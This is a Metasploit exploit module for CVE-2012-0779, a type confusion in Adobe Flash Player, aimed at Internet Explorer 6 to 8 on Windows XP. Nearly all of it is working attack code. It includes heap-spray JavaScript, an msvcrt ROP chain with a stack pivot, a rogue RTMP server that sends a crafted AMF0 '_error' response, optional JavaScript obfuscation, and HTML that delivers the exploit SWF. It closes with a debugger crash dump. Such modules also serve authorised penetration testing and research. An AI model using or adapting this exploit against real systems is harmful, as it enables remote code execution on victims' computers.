Adobe Flash Player Object Type Confusion

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :os_name    => OperatingSystems::Match::WINDOWS,
    :ua_name    => HttpClients::IE,
    :ua_minver  => "6.0",
    :ua_maxver  => "8.0",
    :method     => "GetVariable",
    :classid    => "ShockwaveFlash.ShockwaveFlash",
    :rank       => NormalRanking, # reliable memory corruption
    :javascript => true
  })

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player Object Type Confusion",
      'Description'    => %q{
        This module exploits a vulnerability found in Adobe Flash
        Player.  By supplying a corrupt AMF0 "_error" response, it
        is possible to gain arbitrary remote code execution under
        the context of the user.

        This vulnerability has been exploited in the wild as part of
        the "World Uyghur Congress Invitation.doc" e-mail attack.
        According to the advisory, 10.3.183.19 and 11.x before
        11.2.202.235 are affected.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'sinn3r', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0779' ],
          [ 'OSVDB', '81656'],
          [ 'BID', '53395' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info
          [ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2012/06/22/the-secret-sauce-to-cve-2012-0779-adobe-flash-object-confusion-vulnerability' ]
        ],
      'Payload'        =>
        {
          #'Space'    => 1024,
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Flash Player 11.2.202.228
          [ 'Automatic', {} ],
          [
            'IE 6 on Windows XP SP3',
            {
              'Rop'    => nil,
              'RandomHeap' => false,
              'Offset' => '0x0'
            }
          ],
          [
            'IE 7 on Windows XP SP3',
            {
              'Rop'    => nil,
              'RandomHeap' => false,
              'Offset' => '0x0'
            }
          ],
          [
            'IE 8 on Windows XP SP3 with msvcrt ROP',
            {
              'Rop' => :msvcrt,
              'RandomHeap' => false,
              'Offset' => '238',
              'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-05-04',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]),
        OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]),
        OptPort.new('RTMPPORT',    [ true, "The local port to RTMP service listen on.", 1935 ]),
      ], self.class
    )

  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  #IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  #IE 7 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
      return targets[3]  #IE 8 on Windows XP SP3
    else
      return nil
    end
  end

  def ret(t)
    return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
  end

  def get_rop_chain(t)
    print_status("Using msvcrt ROP")
    p = "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
    p << payload.encoded

    code = ret(t)
    code << rand_text(119)
    code << generate_rop_payload('msvcrt', p, {'target'=>'xp'})
    offset = 2616 - code.length
    code << rand_text(offset)
    code << [ t['StackPivot'] ].pack("V")
    return code
  end

  def get_easy_spray(t, js_code, js_nops)
    randnop = rand_text_alpha(rand(100) + 1)

    spray = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x80000) nops += nops;

    var offset = nops.substring(0, #{t['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);


    heap_obj.gc();
    for (var z=1; z < 0x185; z++) {
      heap_obj.alloc(block);
    }

    JS

    return spray

  end


  def get_aligned_spray(t, js_rop, js_nops)
    randnop = rand_text_alpha(rand(100) + 1)

    spray = <<-JS

    var heap_obj = new heapLib.ie(0x20000);
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});
    var rop_chain = unescape("#{js_rop}");

    while (nops.length < 0x80000) nops += nops;

    var offset = nops.substring(0, #{t['Offset']});
    var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length);


    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);


    heap_obj.gc();
    for (var z=1; z < 0x1c5; z++) {
      heap_obj.alloc(block);
    }

    JS

    return spray

  end

  def exploit
    @swf = create_swf

    # Boilerplate required to handled pivoted listeners
    comm = datastore['ListenerComm']
    if comm == "local"
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    @rtmp_listener = Rex::Socket::TcpServer.create(
      'LocalHost' => datastore['RTMPHOST'],
      'LocalPort' => datastore['RTMPPORT'],
      'Comm'      => comm,
      'Context'   => {
        'Msf'        => framework,
        'MsfExploit' => self,
      }
    )

    # Register callbacks
    @rtmp_listener.on_client_connect_proc = Proc.new { |cli|
      add_socket(cli)
      print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP")
      on_rtmp_connect(cli)
    }

    @rtmp_listener.start

    super
  end

  def my_read(cli,size,timeout=nil)
    if timeout.nil?
      timeout = cli.def_read_timeout
    end

    buf = ""
    ::Timeout::timeout(timeout) {
      while buf.length < size
      buf << cli.get_once(size - buf.length)
      end
    }
    buf
  end

  def do_handshake(cli)
    c0 = my_read(cli, 1)
    c1 = my_read(cli, 1536) # HandshakeSize => 1536
    s0 = "\3" # s0
    s1 = Rex::Text.rand_text(4) # s1.time
    s1 << "\x00\x00\x00\x00" # s1.zero
    s1 << Rex::Text.rand_text(1528) # s1.random_data
    s2 = c1 # s2
    cli.put(s0)
    cli.put(s1)
    cli.put(s2)
    c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536)
  end

  def on_rtmp_connect(cli)

    begin
      do_handshake(cli)
      request = my_read(cli, 341) # connect request length

      case request
      when /connect/
        rtmp_header = "\x03" # Chunk Stream ID
        rtmp_header << "\x00\x00\x00" # Timestamp
        rtmp_header << "\x00\x00\x71" # Body Size
        rtmp_header << "\x14" # AMF0 Command
        rtmp_header << "\x00\x00\x00\x00" # Stream ID

        # String
        rtmp_body = "\x02" # String
        rtmp_body << "\x00\x06" # String length
        rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number
        # Array
        rtmp_body << "\x0a" # AMF Type: Array
        rtmp_body << "\x00\x00\x00\x05" # Array length: 5
        # Array elements
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        # Crafter Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number
        # Number
        rtmp_body << "\x00" # AMF Type: Number
        rtmp_body << [rand(0x40000000)].pack("V") +  "\x00\x00\x00\x00" # Number

        trigger = rtmp_header
        trigger << rtmp_body

        cli.put(trigger)
        @rtmp_listener.close_client(cli)
      end
    rescue
    ensure
      @rtmp_listener.close_client(cli)
      remove_socket(cli)
    end

  end

  def cleanup
    super
    return if not @rtmp_listener

    begin
      @rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service)
      if @rtmp_listener.kind_of?(Rex::Socket)
        @rtmp_listener.close
        @rtmp_listener.stop
      end
      @rtmp_listener = nil
    rescue ::Exception
    end
  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent}")
      send_not_found(cli)
      return
    end

    print_status("Client requesting: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending Exploit SWF")
      send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' })
      return
    end

    p = payload.encoded
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

    if not my_target['Rop'].nil?
      js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
      js = get_aligned_spray(my_target, js_rop, js_nops)
    else
      js = get_easy_spray(my_target, js_code, js_nops)
    end

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
    swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf"

    if datastore['RTMPHOST'] == '0.0.0.0'
      rtmp_host = Rex::Socket.source_address('1.2.3.4')
    else
      rtmp_host = datastore['RTMPHOST']
    end

    rtmp_port = datastore['RTMPPORT']

    html = %Q|
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <center>
    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
    id="test" width="1" height="1"
    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
    <param name="movie" value="#{swf_uri}" />
    <param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}"
    <embed src="#{swf_uri}" quality="high"
    width="1" height="1" name="test" align="middle"
    allowNetworking="all"
    type="application/x-shockwave-flash"
    pluginspage="http://www.macromedia.com/go/getflashplayer"
    FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}">
    </embed>

    </object>
    </center>

    </body>
    </html>
    |

    html = html.gsub(/^ {4}/, '')

    print_status("Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2012-0779.swf" )
    fd = ::File.open( path, "rb" )
    swf = fd.read(fd.stat.size)
    fd.close

    return swf
  end
end

=begin

* Flash Player 11.2.202.228

(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????

0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c          mov     eax,dword ptr [edx+2Ch]
104b1b30 53              push    ebx
104b1b31 ffd0            call    eax

=end